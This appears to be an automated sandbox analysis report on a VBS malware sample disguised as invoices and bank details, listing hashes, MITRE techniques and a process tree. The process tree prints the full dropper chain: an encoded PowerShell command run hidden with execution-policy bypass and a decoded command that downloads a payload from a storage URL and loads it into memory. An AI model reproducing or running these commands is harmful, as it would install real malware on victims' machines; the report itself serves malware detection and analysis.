0215fb5ca62cce5debc7bb6720ef089b075aa4167632ae21f9a1df42636b880c

General

Target

facturas y datos bancarios.vbs
Size

4KB
MD5

459d63c87281a7c35bd3fb015d41c155
SHA1

14d20f30b220aa969573953606ddcd3392d3bfe2
SHA256

0215fb5ca62cce5debc7bb6720ef089b075aa4167632ae21f9a1df42636b880c
SHA512

ed0e3cb0430a7b2538da3aaa77cfbeeb17d32f5cf625c6eb33177409dd7754ae79ebf955ecdea23bc8ab3e4493dce5bdf7abbcd1bb69c723c93a1d63b3c2a1c7
SSDEEP

96:SDv8vBDqazRdWDkXrV+DVfFf8f7RIT9r17T9rN9rz9rdf9rB:0uxda5tUD+T9x7T9R9f95f9l

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/truk-droid.appspot.com/o/Droid%2BTurk.txt?alt=media&token=9399305d-e471-4325-b9cf-905c0718f95e

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2180	WScript.exe
31	4552	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4380	powershell.exe
4380	powershell.exe
4552	powershell.exe
4552	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 4380	2180	WScript.exe	43
PID 2180 wrote to memory of 4380	2180	WScript.exe	43
PID 4380 wrote to memory of 4552	4380	powershell.exe	42
PID 4380 wrote to memory of 4552	4380	powershell.exe	42

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\facturas y datos bancarios.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAHIAZQBiAGEAcwBlAHMAdABvAHIAYQBnAGUALgBnAG8AbwBnAGwAZQBhAHAAaQBzAC4AYwBvAG0ALwB2ADAALwBiAC8AdAByAHUAawAtAGQAcgBvAGkAZAAuAGEAcABwAHMAcABvAHQALgBjAG8AbQAvAG8ALwBEAHIAbwBpAGQAJQAyAEIAVAB1AHIAawAuAHQAeAB0AD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQA5ADMAOQA5ADMAMAA1AGQALQBlADQANwAxAC0ANAAzADIANQAtAGIAOQBjAGYALQA5ADAANQBjADAANwAxADgAZgA5ADUAZQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAGUAKAAnAEYAaQBiAGUAcgAuAEgAbwBtAGUAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4ANAA2AGUAcwBhAGIAeQByAGUAdgBvAGMAZQByAHQAYwBhAHQAbgBvAGMAbgBpAGcAaQByAG8AZABpAG8AcgBkAC8AMgA5AC4AMAA3ADEALgAyADYALgA1ADQALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxd= [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo ) );powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $oWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/truk-droid.appspot.com/o/Droid%2BTurk.txt?alt=media&token=9399305d-e471-4325-b9cf-905c0718f95e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.46esabyrevocertcatnocnigirodiord/29.071.26.54//:ptth'))"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4380-0-0x000002755CAC0000-0x000002755CAE2000-memory.dmp

Filesize
136KB

Download
memory/4380-12-0x0000027574E40000-0x0000027574E50000-memory.dmp

Filesize
64KB

Download
memory/4380-11-0x0000027574E40000-0x0000027574E50000-memory.dmp

Filesize
64KB

Download
memory/4380-10-0x00007FFC3A2F0000-0x00007FFC3ADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4380-32-0x00007FFC3A2F0000-0x00007FFC3ADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4552-23-0x0000027F57520000-0x0000027F57530000-memory.dmp

Filesize
64KB

Download
memory/4552-22-0x00007FFC3A2F0000-0x00007FFC3ADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4552-24-0x0000027F57520000-0x0000027F57530000-memory.dmp

Filesize
64KB

Download
memory/4552-28-0x00007FFC3A2F0000-0x00007FFC3ADB1000-memory.dmp

Filesize
10.8MB

Download
memory/4552-27-0x0000027F57520000-0x0000027F57530000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing